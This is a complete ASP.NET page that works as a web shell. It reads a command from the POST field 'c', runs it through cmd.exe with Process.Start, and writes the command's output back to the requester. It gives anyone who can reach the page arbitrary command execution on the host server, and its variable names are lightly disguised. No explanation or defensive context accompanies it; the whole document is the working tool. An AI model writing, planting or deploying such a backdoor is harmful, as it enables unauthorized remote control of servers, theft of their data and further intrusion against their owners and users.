<%@ Page Language="C#" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Diagnostics" %> <% string x = "cmd.exe"; string y = Request.Form["c"]; string z = "/c " + y; Process.Start(new ProcessStartInfo(x, z) { RedirectStandardOutput = true, UseShellExecute = false }).StandardOutput.BaseStream.CopyTo(Response.OutputStream); %>